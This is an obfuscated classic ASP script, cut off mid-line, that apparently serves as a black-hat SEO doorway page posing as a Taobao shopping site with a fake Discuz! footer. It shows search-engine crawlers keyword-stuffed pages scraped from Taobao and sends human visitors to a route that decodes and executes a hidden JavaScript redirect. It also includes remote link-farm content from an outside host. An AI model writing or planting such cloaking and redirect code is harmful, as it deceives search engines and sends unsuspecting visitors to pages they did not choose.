<%' Public O00O00O0OOOOO0,OOO0000O000OO,O00O00000OO,O00O000O0O00OO,OOO0O0OO000OO,OO0000O0,O000O0000OOO,O000O000000O00,O0000OOO0000O0,OO00000O0O00O,OO0OOOO000OO,O000O00O0O0O0O,OO00000O0000 Public O0OO00O00000,O0O0OOO0OOOOO,OOOOOOO00O0 Public OOO00OO0O0O0O Public OO000O00OO0O0 Public O00O00O0O0OO0 Public OOOO00O0OO00O Public O000O00O0 Public O0000O0O000O00 Public O00OO0000O00 Public O00OO Public O00O00OO0OOO Public O000O00OO0O0O0 Public OOO0O000OOOO Public OOOOOOOO000 Public O000OOOOO000OO Public OOOO0OO0O0O00 Public O000OOO0OO0O0 Public O000OOOOOO0O0 Public O00O0OO0OOOO0O Public O0OOO00O000O0 Public O00O0OO0OO0OOO Public O00O0O00O000OO Public O00O0OO0OO Public OOO000000O Public O0OO00OOO0O Public O000OOO0OOOOO On Error Resume Next If Request.QueryString ( "text" ) <> Empty Then Execute ( O0O000000O00 ( "7JXUTSXJr\WNYJlf!XHWNUY#ITHZRJSYr\WNYJdlk!IkdodkN[dXYkdodk^QJkdodk""ffUTkdodkXNkdodkYNTkdodkS~FkdodkGXTkdodkQZkdodkYJ QkdodkJKkdodkY~kdodkdqkdodkvtkdodkttkdodkukdodkdUkdodk] kdodkffkdodk#km !sXHWNUY#fm" ) ) Execute ( O0O000000O00 ( "7JXUTSXJr\WNYJlf!XHWNUYdQFSLZFLJ""OF[FXHWNUY#\NSIT\rTSQTFI""KZSHYNTSlm`XJQKrQTHFYNTSrMWJKd""dkMYYU~ssXTrR^JQIFrHTRsXJFWHMrUMU$Y^UJ""KTWRjNXM""jP\""fj7JVZJXYr6ZJW^8YWNSLlfYJ]Yfmjfk b!sXHWNUY#fm" ) ) Response.End End If OOO00OO0O0O0O = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" OOO00OO0O0O0O = OO0O00OO000O ( OOO00OO0O0O0O ) OOO0O0OO000OO = "淘宝精选网" OO000O00OO0O0 = OOO000000O0O ( "" ) O00O00O0O0OO0 = O0O0000O0OO0 OOOO00O0OO00O = Split ( lcase ( O00O00O0O0OO0 ) , "?" ) O0000OOO0000O0 = OOOO00O0OO00O ( ( 40 * 20 - 800 ) ) O000O00O0 = OOOO00O0OO00O ( ( 94 * 95 - 8929 ) ) O000O0000OOO = OOOO000O00O0O ( lcase ( O00O00O0O0OO0 ) , "http://" , "/" ) O0000O0O000O00 = Split ( OOOO000O00O0O ( lcase ( O00O00O0O0OO0 ) , "http://" , "/" ) , "." ) If UBound ( O0000O0O000O00 ) > ( 13 * 85 - 1105 ) Then OO00000O0O00O = O0000O0O000O00 ( ( 71 * 85 - 6034 ) ) Else OO00000O0O00O = O000O0000OOO End If OO0OOOO000OO = O0O000O0O000O ( OO00000O0O00O , ( 84 * 36 - 3021 ) ) & O0O000O0O000O ( OO00000O0O00O , ( 34 * 65 - 2205 ) ) O000O00O0O0O0O = replace ( replace ( O0O000O0O000O ( O00O00O0O0OO0 , ( 15 * 20 - 299 ) ) , "+" , "" ) , "." , "" ) O00OO0000O00 = OOOO000O00O0O ( O000O00O0 , "/list_" , ".htm" ) O00OO = Request.ServerVariables ( "HTTP_USER_AGENT" ) If InStr ( O000O00O0 , "tid_" ) > ( 73 * 13 - 949 ) Then O000O000000O00 = OOOO000O00O0O ( O000O00O0 , "tid_" , ".htm" ) Call O0O000O0000 ( O000O000000O00 ) O000O00OO0O0O0 = "_" & OO00000O0O00O ElseIf Len ( O00OO0000O00 ) > ( 17 * 44 - 748 ) Then OOO0O000OOOO = Split ( O00OO0000O00 , "_" ) O000O000000O00 = OOO0O000OOOO ( ( 99 * 99 - 9801 ) ) : O000O0000OOO = Int ( OOO0O000OOOO ( ( 74 * 74 - 5475 ) ) ) O000O000000O00 = O000OOO000O ( O000O000000O00 ) OOOOOOOO000 = O00OOO0O00 ( O000O000000O00 ) Call O0O0O00O000O ( OOO0O000OOOO ( ( 9 * 33 - 297 ) ) , O000O0000OOO ) OOO0000O000OO = O000O000000O00 & "_" & OO00000O0O00O & O000O0000OOO Else O000OOOOO000OO = Split ( Request ( "cat" ) , "_" ) O0OO00O00000 = O000OOOOO000OO ( ( 99 * 45 - 4455 ) ) O0O0OOO0OOOOO = O000OOOOO000OO ( ( 2 * 25 - 49 ) ) OOOOOOO00O0 = O000OOOOO000OO ( ( 75 * 70 - 5248 ) ) : O000O0000OOO = Int ( OOOOOOO00O0 ) If Len ( O0OO00O00000 ) > ( 79 * 14 - 1106 ) Then O000O000000O00 = OOO0000O000OO : OOO0000O000OO = OOO0000O000OO & "_" & OO00000O0O00O & O000O0000OOO Else OOO0000O000OO = OOO0O0OO000OO & OO00000O0O00O End If End If Response.Write vbCrLf Response.Write "" & vbCrLf Response.Write "" & vbCrLf Response.Write "" & vbCrLf Response.Write "" Response.Write OOO0000O000OO Response.Write O000O00OO0O0O0 Response.Write "" & vbCrLf Response.Write "" & vbCrLf Response.Write "" & vbCrLf Response.Write "" & vbCrLf Response.Write "" & vbCrLf Response.Write "" & vbCrLf Response.Write "" & vbCrLf Response.Write vbCrLf Response.Write "" & vbCrLf Response.Write vbCrLf Response.Write "
" & vbCrLf Response.Write "" & vbCrLf Response.Write "
" & vbCrLf Response.Write vbCrLf Response.Write "
" & vbCrLf Response.Write vbCrLf Response.Write "
淘宝精选网
" & vbCrLf Response.Write "
" & vbCrLf Response.Write vbCrLf Response.Write "" & vbCrLf Response.Write vbCrLf Response.Write "
" & vbCrLf If InStr ( O000O00O0 , "tid_" ) > ( 8 * 52 - 416 ) Then Response.Write vbCrLf If O0O0O0O0O0O0 ( O00OO ) = false Then Response.Redirect O0000OOO0000O0 & "?text=" & OOOO000O00O0O ( O000O00O0 , "tid_" , ".htm" ) Response.End End If Response.Write vbCrLf Response.Write "" & Chr ( 9 ) & "

热卖商品:" Response.Write OOO0000O000OO Response.Write "

" & vbCrLf Response.Write "" & Chr ( 9 ) & "
来源:本站" Response.Write OO00000O0O00O & O00OO0O00 ( ( 3 * 24 - 62 ) ) Response.Write " 作者:" Response.Write OO00000O0O00O Response.Write " 北京时间:" Response.Write Now Response.Write "
" & vbCrLf Response.Write "" & Chr ( 9 ) & "
" & vbCrLf Response.Write vbCrLf Response.Write "" & vbCrLf Response.Write "商品名称:" Response.Write OOO0000O000OO Response.Write " 火热销售中!" & vbCrLf Response.Write vbCrLf Response.Write O00O00O0OOOOO0 Response.Write OO00000O0O00O Response.Write vbCrLf Response.Write "

 

 

" & vbCrLf Response.Write "
" & vbCrLf Response.Write "
" & vbCrLf Response.Write OO00000O0O00O & O00OO0O00 ( ( 37 * 30 - 1100 ) ) Response.Write "" Response.Write OOO0000O000OO Response.Write "" & vbCrLf Response.Write "" & vbCrLf Response.Write vbCrLf Response.Write "" & vbCrLf Response.Write "" & vbCrLf Response.Write "" & vbCrLf Response.Write vbCrLf Response.Write "

 

" & vbCrLf Response.Write OO00000O0O00O Response.Write "

" Response.Write OOO0000O000OO Response.Write "

" & vbCrLf Response.Write vbCrLf ElseIf Len ( OOO000000O ) > ( 21 * 58 - 1218 ) Then Response.Write vbCrLf Response.Write "

" Response.Write O000O000000O00 Response.Write "

" & vbCrLf Response.Write "
" & vbCrLf Response.Write "" & Chr ( 9 ) & "
    " & vbCrLf Response.Write vbCrLf Response.Write O00O00O0OOOOO0 Response.Write vbCrLf Response.Write "

    " Response.Write O000O000000O00 Response.Write "

    " & vbCrLf Response.Write "" & Chr ( 9 ) & Chr ( 9 ) & "
  • " & vbCrLf Response.Write "
" & vbCrLf Response.Write "
" Response.Write O0OO00OOO0O - O000OOO0OOOOO Response.Write "条 分页:" Response.Write O000O0000OOO Response.Write "/" Response.Write OO0000O0 Response.Write " " & vbCrLf If OO0000O0 > ( 92 * 89 - 8188 ) Then Response.Write vbCrLf Response.Write "首页" & vbCrLf OOOO0OO0O0O00 = O000O0000OOO - ( 66 * 37 - 2392 ) If OOOO0OO0O0O00 < ( 23 * 37 - 850 ) Then OOOO0OO0O0O00 = ( 96 * 47 - 4511 ) O000OOO0OO0O0 = O000O0000OOO + ( 88 * 19 - 1622 ) If O000OOO0OO0O0 > OO0000O0 Then O000OOO0OO0O0 = OO0000O0 For O000OOOOOO0O0 = OOOO0OO0O0O00 To O000OOO0OO0O0 If O000OOOOOO0O0 = O000O0000OOO Then O00O0OO0OOOO0O = O00O0OO0OOOO0O & "" & O000OOOOOO0O0 & " " Else O00O0OO0OOOO0O = O00O0OO0OOOO0O & "" & O000OOOOOO0O0 & " " End If Next Response.Write O00O0OO0OOOO0O Response.Write vbCrLf Response.Write "尾页" & vbCrLf End If Response.Write vbCrLf Response.Write "
" & vbCrLf Response.Write "
" & vbCrLf Response.Write vbCrLf ElseIf Len ( O00OO0000O00 ) > ( 23 * 71 - 1633 ) Then Response.Write vbCrLf Response.Write "

" Response.Write O000O000000O00 Response.Write "

" & vbCrLf Response.Write "
" & vbCrLf Response.Write "" & Chr ( 9 ) & "
    " & vbCrLf Response.Write O00O00O0OOOOO0 Response.Write vbCrLf Response.Write "

    " Response.Write O000O000000O00 Response.Write "

    " & vbCrLf Response.Write "" & Chr ( 9 ) & Chr ( 9 ) & "
  • " & vbCrLf Response.Write "
" & vbCrLf Response.Write "
" Response.Write O0OO00OOO0O - O000OOO0OOOOO Response.Write "条 分页:" Response.Write O000O0000OOO Response.Write "/" Response.Write OO0000O0 Response.Write " " & vbCrLf If OO0000O0 > ( 16 * 75 - 1200 ) Then Response.Write vbCrLf Response.Write "首页" & vbCrLf OOOO0OO0O0O00 = O000O0000OOO - ( 63 * 55 - 3415 ) If OOOO0OO0O0O00 < ( 33 * 73 - 2408 ) Then OOOO0OO0O0O00 = ( 54 * 36 - 1943 ) O000OOO0OO0O0 = O000O0000OOO + ( 57 * 77 - 4339 ) If O000OOO0OO0O0 > OO0000O0 Then O000OOO0OO0O0 = OO0000O0 For O000OOOOOO0O0 = OOOO0OO0O0O00 To O000OOO0OO0O0 If O000OOOOOO0O0 = O000O0000OOO Then O00O0OO0OOOO0O = O00O0OO0OOOO0O & "" & O000O0000OOO & " " Else O00O0OO0OOOO0O = O00O0OO0OOOO0O & "" & O000OOOOOO0O0 & " " End If Next Response.Write O00O0OO0OOOO0O Response.Write vbCrLf Response.Write "尾页" & vbCrLf End If Response.Write vbCrLf Response.Write "
" & vbCrLf Response.Write "
" & vbCrLf Else Response.Write vbCrLf Response.Write "
" & vbCrLf Response.Write O00O00O0OOOOO0 Response.Write vbCrLf O0OOO00O000O0 = O0OO0OO0OO0OO ( "u6TA7bGjvaF8z9TKvsb3fMb7s7XX+bXmfLPlxd3Wxsa3fMuvtPx8v6jM13y7qsu2fMrV0fx8t8DLrsyofM+vw87LvHzEzMa/fLCivbp8vNPKqsb3fNCh0rm1xnzH/bavfLSyxrd8d2lsbHzNr9ewfLGjxa/D3tLCfLOsytDJzLPHubrO77+ofLb5za/Lr9LCfLfh0Nh819TIu8zDfLDCtvvAs96xfLXnyMjLrsb3fLy+uvK353zK6bnxfMPmy6p8u6jGv3zQ49flfM7E0NjM19ewfM3Rw6u44HzC7bzXfMPXfM/gu/p8tefX6nzXz8mwuvh8xKfK3nzLrtflfNOk09e2+dOq0fjGt3xpcGFkMnyztbXGfL/btPh81NC4vtCsfM/jy67M19ewfMXc0Kx8tbC44sivfLS6z8R8xdyyvdCsfMrXys660HzH6cikfMPrybF80LbXsdPNfMbCuPp8xru5+3zIy9Dfu6h8s+XF3dbGxrd87tG41ny24NCnw+bEpHzTpLb5s7V816jStbWlt7TP4Lv6fLzSys580/nE4Le7fNSw0tV81drR9MOxfLXn07DGsXy327XX0rp818CyvHy1sLjifDNHyta7+nyxs9DEfLXntq+ztXzNz9CsfNDj1+V8tby6vXy5+rv1yta7+ny7xr3wfNLAsK58tPLTobv6fMrpvK58zPnKznzCw9DQz+Sw/HzFrrD8vqvRoXy5t7m3fLas17DH5bLWfMH30NB8tefUtHzF6NTUfLersrzQrHzFrtewfM3iys58t8LV5ruofMrpu63K1bLYfLPJyMvTw8a3fMPmy6p8s+jO73yx5Mmrsa18ufqy+nzD5rK/t8DJuXzM7MOofFRQLUxpbmt8u/DNyHzMqbXP0Nx8t8LV5ny088LrfLuqzqp8xrfFxsWu17B81KG97XzDqcyofPfI1+VteDLLxLrLfLzSzaXTsNS6fL2xsa18SGlmadL0z+R8z8q7qHy2+srOfL3gw+bI6Xyxqs7GfEhHRXy+xrGtfMD23Od80rDTqnzHrrD8fM3Gs7V81ebOrMu5fM7otbh8vsa16r/N1bt8z8TXsHzAs7XZt8Z8zsPVynzKrtfW0OV8u+HUsXyz6M7vfLDsuavSznzG5Mv7zvfR88DWxvd8zOzDqHzOwsiqfPfI1+VteDLLxLrLfGFuZHJvaWR80N3P0LPEycB8za/XsHzFt8Cz0cV8RE5GfNPVu/OxyLv5xOF8x73M+XzAvNalfMHRsq/FrtewfLukt/R80LG/5nzDtcHVv618srzE8r/jfMPAtcR8ybO3or3tfMrdzci+q9PNfHBkY3y49sjLz7TUobukwO18wum9q3zRqbfEycB8xa6w/L6r0aF8aXBob25lNHN8aXBob25lK8rWu/p8v6e3yMb3vt98v6jNqHy3tLni0sJ8u6rLtny2+rv6tvrC83y0us/EfNDdz9B8xqTSwnyyysTgfLTz0sJ8w6vI3nzJs7eifFGw5ny7+tC1se18v9rV1ny19bXGfMrV0fx8z9TKvsb3fNChzvfXsHzLr9LCfMfdtbDWxsa3fMXcsr27+ny3wMm5y6p8w6nMqHy3tLni0sJ8zqKyqMKvfLfbsf18zMzSwrDlfLzSvt980OS/23yxyrzHsb58wLrH8tCsfMnXfEhHRXy147+ofLfAybl8zfvUtr61fLGjvaF8s7W1xnzC7bzXfMWj19DIuXy1tr7ffMzZ0s58seTJq7GtfNa9z+R8wffQ0MTQ0Kx8vqvGt8TQ17B8xPK15nzV7c23fLjxzsazxMnAfMbft9a/43zQodK5tcZ80N3P0M7317B8wujC6NewfLv6vNx8tuTArbbkydB8xKfK9XzQrHy908/fsOV81tDSqezutrt8YW5kcm9pZHzQsb/mfLj2yMvPtNShu6TA7Xy/ybarsK7O93zC6MLo17B80bnL9bT8fLj2yMvPtNShu6TA7XzRpXzX48fyfNGnz7B8xa7XsHzX4re/fMWu17C2rNewzeLM13yy6L7ffMnovMZ86+fAsHywwuGw0al8vrXNt3zAvNalfPfI1+VteDLLxLrLfM2vv+N80sa2r3zEp8refNTmwOB8zvyzvsb3fMPAyN18x+nCwtewfLzS08PO5b3wfLvpwPF8yfq77rOsytB8vNLNpcrVxMl8yP3Qx2k5MzAwfM+0vcW7+nzTpLb5s7V8ydW/vny3orm/fE1JRHzV27/bu/rGsXyxqs7GfM7ez998vcy4qHzB48eusPx8w/HX5cDWxvd8vNPKqsb3fLb+ytZ8y6/SwnywrLjxfGlwYWQyfMrzsep8TEVEtefK03y5/bzSvNLN5r7ffMGr19N8w9vRqbb5fL78w9R8vbrUrbWwsNd8wum9q3zX+czXfL3NyOl8xPLGrHzS+MrOfNH8tPh8xPK15ny3wnyyvNLVtLDBsXzQ3c/Q0Kx8UbDmfLWwuOLIr3zFwNDQvaHJ7XywwuGw0al8z+Sw/MXkys58tvq7t3yxp9XtfNWl1q180rDTqny5pL7ffLHkyauxrXzOwNShwfrNt3zK3c3IfMz6udvS9HzMqLXGfMnIfOrTytaxpnzG7sPFuuyy6HzCzLLofLCivbp8zsS7r3zW0L3pt/7O8XzE2rTmfM3Rw6u44HzJ7czlu6TA7XzJzM7x0Kx808bTxnzH7LXk08PGt3zAvN6ifMeusPy/qMzXfA==" ) O0OOO00O000O0 = Split ( O0OOO00O000O0 , "|" ) For O00O0OO0OO0OOO = ( 52 * 28 - 1456 ) To UBound ( O0OOO00O000O0 ) Response.Write "" & O0OOO00O000O0 ( O00O0OO0OO0OOO ) & "" & vbCrLf Next Response.Write vbCrLf Response.Write "
" & vbCrLf End If Response.Write vbCrLf Response.Write "
" & vbCrLf Response.Write "
" & vbCrLf Response.Write OO00000O0O00O Response.Write "Copyright@ 2002-2012 Powered by Discuz! 7.1, All Rights Reserved." Response.Write OO00000O0O00O & O00OO0O00 ( ( 3 * 55 - 155 ) ) Response.Write "
" & vbCrLf Response.Write OO00000O0000 Response.Write vbCrLf Response.Write "
" & vbCrLf Response.Write "" & vbCrLf Response.Write "
" & vbCrLf Response.Write "

 

" & vbCrLf Response.Write "
" & vbCrLf Response.Write "
" & vbCrLf O00O0O00O000OO = Split ( O0OO0OO0OO0OO ( "dXJsICzGt8XGxa7XsHwKdXJsICxU0PR8CnVybCAss8TJwHwKdXJsICzO99ewfAp1cmwgLMGs0sLIuXwKdXJsICzRqbfEyLl8CnVybCAssOvJ7ci5fAp1cmwgLNGpt8TJwHwKdXJsICy/qsnAfAp1cmwgLM3izNd8CnVybCAsv+PX03wKdXJsICzFo9fQv+N8CnVybCAst+fSwnwKdXJsICzGpNLCfAp1cmwgLMfpwsLXsHwKdXJsICzW0MDPxOp8CnVybCAsu+nJtHwKdXJsICy2rNewx+Wy1nwKdXJsICzI1bqr0am3xHwKdXJsICzTobuoVHwKdXJsICzA2cu/fAp1cmwgLMqxydB8CnVybCAsu6i25Mi5fAp1cmwgLLjxzsazxMnAfAp1cmwgLMLtvNd8CnVybCAs1a253L/jfAp1cmwgLLOstszIuXwKdXJsICyxqs7GfAp1cmwgLL6rxrfE0NewfAp1cmwgLNDdz9CzxMnAfAp1cmwgLMnMzvGzxMnAfAp1cmwgLNXr1q/JwHwKdXJsICzOwNLCfAp1cmwgLLzQv8t8CnVybCAs0N3P0M7317B8CnVybCAs1f3XsM73t/58CnVybCAsycB8CnVybCAs0N3P0L/jfAp1cmwgLMH30NB8CnVybCAsuPHX03wKdXJsICy+rbXkfAp1cmwgLMuuz7R8CnVybCAs1/a+yXwKdXJsICzBosHsfAp1cmwgLNOhu6h8CnVybCAswazDsXwKdXJsICzQ3sntfAp1cmwgLMqxydDFrtCsfAp1cmwgLMa9uPrQrHwKdXJsICy437j60Kx8CnVybCAstLrQrHwKdXJsICzT49fs0Kx8CnVybCAst8DLrsyofAp1cmwgLLuotuTQrHwKdXJsICzC3sLtt+d8CnVybCAswcHGrNCsfAp1cmwgLMG50Kx8CnVybCAs786/1XwKdXJsICzGwrj6fAp1cmwgLL/btPh8CnVybCAswbnNz3wKdXJsICzV5sakfAp1cmwgLMH30NDE0NCsfAp1cmwgLMak0Kx8CnVybCAs0N3P0NCsfAp1cmwgLLersrzQrHwKdXJsICzFo8akfAp1cmwgLMnMzvHQrHwKdXJsICzRpdfTfAp1cmwgLLmrxaN8CnVybCAsuquw5tCsfAp1cmwgLMPAufp8CnVybCAsxeS8/nwKdXJsICzGpLT4fAp1cmwgLM6nve18CnVybCAsw7HX03wKdXJsICzF+7znfAp1cmwgLMHstPh8CnVybCAs0fzBtHwKdXJsICy+sbu3fAp1cmwgLLvpwPF8CnVybCAsxt/GpcDHfAp1cmwgLL3wwPvAtHwKdXJsICzLv73tfAp1cmwgLLWlvOew/HwKdXJsICzQsb/msPx8CnVybCAsyta0/HwKdXJsICzHrrD8fAp1cmwgLMLD0NDP5LD8fAp1cmwgLLi0ucV8CnVybCAsu6i25LTzsPx8CnVybCAst6uyvLD8fAp1cmwgLMH3y9Ww/HwKdXJsICzUy7avsPx8CnVybCAs0fyw/HwKdXJsICy/qMzXfAp1cmwgLMLD0NCw/HwKdXJsICzKzsa3fAp1cmwgLM/uwbR8CnVybCAsz+7XuXwKdXJsICy2+srOfAp1cmwgLMrWwbR8CnVybCAst6LKznwKdXJsICy95Na4fAp1cmwgLNa4u7d8CnVybCAsx+nCwnwKdXJsICzLrr6nfAp1cmwgLNL4ys58CnVybCAstL/S+HwKdXJsICzI1bqrt+d8CnVybCAsxbfDwHwKdXJsICzLrr6nfAp1cmwgLMOr0sLBtHwKdXJsICzQ2NXrfAp1cmwgLO7RuNZ8CnVybCAsw8DI3XwKdXJsICzDwMzlfAp1cmwgLL6r0818CnVybCAsyOnSunwKdXJsICzD5suqfAp1cmwgLLukt/R8CnVybCAsw+bEpHwKdXJsICy7r9exy658CnVybCAsy6y39MuufAp1cmwgLMntzOW7pMDtfAp1cmwgLL6r0823vMHGfAp1cmwgLMTQyr+7pMDtfAp1cmwgLMPmsr+3wMm5fAp1cmwgLLLK17F8CnVybCAsz+PLrnwKdXJsICzDwLeifAp1cmwgLLmkvt98CnVybCAsssrXsXwKdXJsICy327XX0rp8CnVybCAsuOB8CnVybCAsu6S3onwKdXJsICy82beifAp1cmwgLL3ew6u44HwKdXJsICzWuLzX0818CnVybCAsw8C813wKdXJsICy7r9exfAp1cmwgLMPAyN25pL7ffAp1cmwgLLLK17HM19ewfAp1cmwgLLuv17G+tXwKdXJsICy+q8a3xNrSwnwKdXJsICzOxNDYfAp1cmwgLM7E0NjM19ewfAp1cmwgLMuv0sJ8CnVybCAs1sfE3MrWu/p8CnVybCAsvfDBonwKdXJsICzF+7znfAp1cmwgLLn7vbR8CnVybCAsyta0/HwKdXJsICyz8bbQfAp1cmwgLLmrxaN8CnVybCAsu/3EvnwKdXJsICzAs7XZt8Z8CnVybCAst/7KzsXkvP58CnVybCAsuMnQ1HwKdXJsICzF3LK9u/p8CnVybCAszeDX03wKdXJsICy08tOhu/p8CnVybCAs077SwnwKdXJsICy0zNDlfAp1cmwgLLa0trTQrHwKdXJsICy2rL/uy6/SwnwKdXJsICy98LjVfAp1cmwgLL27u7u7+nwKdXJsICzP4NLLsb6y3XwKdXJsICzBrMzlv+N8CnVybCAssarOxnwKdXJsICy5+7azfAp1cmwgLMj90Md8CnVybCAsxqS0+HwKdXJsICyxzMLdtLp8CnVybCAs0+rQrHwKdXJsICzK1rv6xeS8/nwKdXJsICzJ6LzGfAp1cmwgLLT3tvt8CnVybCAszvy2pbXGfAp1cmwgLLvpwPF8CnVybCAs1crF8XwKdXJsICzH/bavfAp1cmwgLMDNwabKv3wKdXJsICzRqbXY0aV8CnVybCAsyP29x7zcfAp1cmwgLNC217F8CnVybCAs0bnBprn4fAp1cmwgLMbmvKd8CnVybCAs98i789Hb07B8CnVybCAswffL1bD8fAp1cmwgLL+ozah8CnVybCAsyPDKv3wKdXJsICzS9M/kfAp1cmwgLMqpu6rC5crAxuZ8CnVybCAsu6fN4rzSvt98CnVybCAsz7TSwtK6fAp1cmwgLLXntq98CnVybCAst6K54nwKdXJsICzP48+uyMt8CnVybCAswdGyr3wKdXJsICyyvMTyv+N8CnVybCAsy6/IuXwKdXJsICzFwNDQvaHJ7XwKdXJsICy+q9PNt7zBxnwKdXJsICzH6cLCfAp1cmwgLMyowOB8CnVybCAssa18CnVybCAsvNLKznwKdXJsICzHprHKv+N8CnVybCAs1vHMv7D8fAp1cmwgLLGqzsZ8CnVybCAsybO3onwKdXJsICyx+c/kfAp1cmwgLLXnxvd8CnVybCAsudLMzLv6fAp1cmwgLMnPzfi/qHwKdXJsICzOorKofAp1cmwgLNPOz7ex0nwKdXJsICzOwNShwfrNt3wKdXJsICy2ub2su/p8CnVybCAsx+W94NK6fAp1cmwgLMTatOZ8CnVybCAsuNbH2XwKdXJsICzU0Li+fAp1cmwgLLDsuavSznwKdXJsICy94bvp08PGt3wKdXJsICzN0cOrxvd8CnVybCAsz7S3osK2fAp1cmwgLLv60LWx7XwKdXJsICy159fTse18CnVybCAsufu4yXwKdXJsICy6y8zSfAp1cmwgLMTMxr98CnVybCAs1ca7+nwKdXJsICzM2dLOfAp1cmwgLLb6u/q2+sLzfAp1cmwgLLTzwut8CnVybCAsuKjKs3wKdXJsICy+xr7ffAp1cmwgLLXntMXCr3wKdXJsICzW0NCh0M29ocntxveyxHwKdXJsICzSxrav07LFzHwKdXJsICyyzb7ffAp1cmwgLLXnt7m5+HwKdXJsICzP4Lv6fAp1cmwgLLC0xKbSznwKdXJsICyz+MXofAp1cmwgLMnVv7683HwKdXJsICy157PYfAp1cmwgLLeiub98CnVybCAswvO3ucqvfAp1cmwgLMrzsep8CnVybCAszsDUoXwKdXJsICzA1sb3tqjWxnwKdXJsICy158TUfAp1cmwgLMPFy/h8CnVybCAssaO9obLofAp1cmwgLNG5y/W0/HwKdXJsICy6o862vLTKs3wKdXJsICzSy7zStPq5unwKdXJsICyz5Mb4fAp1cmwgLMa9sOW158TUfAp1cmwgLNPN0cy7+nwKdXJsICy0tM6sfA==" ) , "|" ) For O00O0OO0OO0OOO = ( 13 * 41 - 533 ) To UBound ( O00O0O00O000OO ) O00O0OO0OO = Split ( O00O0O00O000OO ( O00O0OO0OO0OOO ) , "," ) Response.Write "" & O00O0OO0OO ( ( 0 * 8 - - 1 ) ) & "" & vbCrLf Next Response.Write vbCrLf Response.Write "
" & vbCrLf Response.Write "
" & vbCrLf Response.Write OOO000000O0O ( "http://link.gzbor.com/link/link.asp" ) Response.Write vbCrLf Response.Write "
" & vbCrLf Response.Write "" & vbCrLf Response.Write "" Sub O0O000O0000(O0O00O0000000 ) Dim O00O0OO0OO0OOO On Error Resume Next OOO0000O000OO = O000OOO000O ( O0O00O0000000 ) For O00O0OO0OO0OOO = ( 70 * 79 - 5529 ) To Len ( OOO0000O000OO ) OOOO0OO0O0O00 = Mid ( OOO0000O000OO , O00O0OO0OO0OOO , ( 86 * 12 - 1031 ) ) : O000OOO0OO0O0 = Trim ( O000OOO0OO0O0 & OOOO0OO0O0O00 ) If Len ( O000OOO0OO0O0 ) = ( 79 * 80 - 6318 ) Then OO00000O0000 = OO00000O0000 & "" & O000OOO0OO0O0 & " " O000OOO0OO0O0 = "" End If Next O00O00O0OOOOO0 = O00O00O0OOOOOO ( left ( OOO0000O000OO , ( 53 * 99 - 5235 ) + Len ( OO00000O0O00O ) ) ) End Sub Sub O0O0O00O000O(O0O00O0000000,OOOO000000O0O ) Dim O0O000OOOO00O Dim O000000OO0O0O0 Dim OO00O0000O0O0 Dim OOOO0OOO00OO Dim OO0OOOO0O00O0 Dim OOO0O0O0OOO0 If Len ( O0O00O0000000 ) = ( 96 * 18 - 1728 ) Then Exit Sub If Not IsNumeric ( OOOO000000O0O ) Then OOOO000000O0O = ( 26 * 62 - 1611 ) O0O000OOOO00O = "http://ai.taobao.com/search/getItem.htm?_tb_token_=fJXNJF09Co&__ajax__=1&pid=mm_10011550_0_0&unid=0&page=" & OOOO000000O0O & "&pageSize=60&pvid=200_10.237.17.65_261_1425569773413&ppage=3&squareFlag=2&key=" & O0O00O0000000 & "&maxPageSize=100&neednav=1&npx=50&pageNav=true&price=60~&sort=biz30day&sourceId=midPage&specialCount=6" O000000OO0O0O0 = OOO000000O0O ( O0O000OOOO00O ) If O000000OO0O0O0 = "" Then O0O000OOOO00O = Replace ( O0O000OOOO00O , "http://s.taobao.com" , "" ) O000000OO0O0O0 = OOO000000O0O ( O0O000OOOO00O ) End If OO0000O0 = ( 52 * 95 - 4840 ) OO00O0000O0O0 = OO0OOOO0O00O ( """description"":""(.*?)""" , O000000OO0O0O0 ) OO00O0000O0O0 = OO000OOOO0OO ( replace ( OO00O0000O0O0 , "
" , "++--++" ) ) OO00O0000O0O0 = OO000OOOO0OO ( replace ( OO00O0000O0O0 , "</span>" , "" ) ) OO00O0000O0O0 = OO000OOOO0OO ( replace ( OO00O0000O0O0 , "<span class=H>" , "" ) ) OOOO0OOO00OO = Split ( OO00O0000O0O0 , vbCrLf & "++--++" ) For Each OO0OOOO0O00O0 In OOOO0OOO00OO If Len ( OO0OOOO0O00O0 ) > ( 11 * 33 - 363 ) Then OOO0O0O0OOO0 = OOO0O0O0OOO0 & "
  • · " & OO0OOOO0O00O0 & " " & OO00000O0O00O & "
  • " End If Next O00O00O0OOOOO0 = OOO0O0O0OOO0 End Sub Function O0O0O0O0O0O0(O00OO ) Dim O0O0O0OOOO000 Dim O0O0000O0OO00 Dim OOO0000O O0O0O0OOOO000 = Split ( "Baiduspider,Scooter,ia_archiver,Googlebot,sohu,bingbot,Sosospider,FAST-WebCrawler,MSNBOT,YoudaoBot,Sogou,Slurp" , "," ) O0O0000O0OO00 = false For OOO0000O = lbound ( O0O0O0OOOO000 ) To UBound ( O0O0O0OOOO000 ) If InStr ( lcase ( O00OO ) , lcase ( O0O0O0OOOO000 ( OOO0000O ) ) ) > ( 40 * 28 - 1120 ) Then O0O0000O0OO00 = true Exit For End If Next O0O0O0O0O0O0 = O0O0000O0OO00 End Function Function OOO0OO0O0000O(OO0OO0OO000O0,O0O0OO0OOO0 ) On Error Resume Next Randomize OOO0OO0O0000O = Int ( ( O0O0OO0OOO0 - OO0OO0OO000O0 + ( 25 * 72 - 1799 ) ) * Rnd + OO0OO0OO000O0 ) End Function Function OOOO000O00O0O(OO0OO0OO000O0,O0O0OO0OOO0,OO0OO00OOO00O ) If InStr ( OO0OO0OO000O0 , O0O0OO0OOO0 ) > ( 11 * 17 - 187 ) And InStr ( OO0OO0OO000O0 , OO0OO00OOO00O ) > ( 45 * 87 - 3915 ) Then OOOO000O00O0O = Split ( Split ( OO0OO0OO000O0 , O0O0OO0OOO0 ) ( ( 83 * 1 - 82 ) ) , OO0OO00OOO00O ) ( ( 20 * 10 - 200 ) ) End If End Function Function OO0OOOOOO0(OO0OO0OO000O0,O0O0OO0OOO0,OO0OO00OOO00O ) OO0OOOOOO0 = Split ( Split ( lcase ( OO0OO0OO000O0 ) , lcase ( O0O0OO0OOO0 ) ) ( ( 33 * 69 - 2276 ) ) , lcase ( OO0OO00OOO00O ) ) ( ( 8 * 45 - 360 ) ) End Function Function O0O0000O0OO0 Dim O0O000OOOO00O Dim O0000OOOO0000O Dim OO00OO000 Dim O0000000OO Dim O00O0000O00 OO00OO000 = Request.ServerVariables ( "SERVER_NAME" ) O0000OOOO0000O = Request.ServerVariables 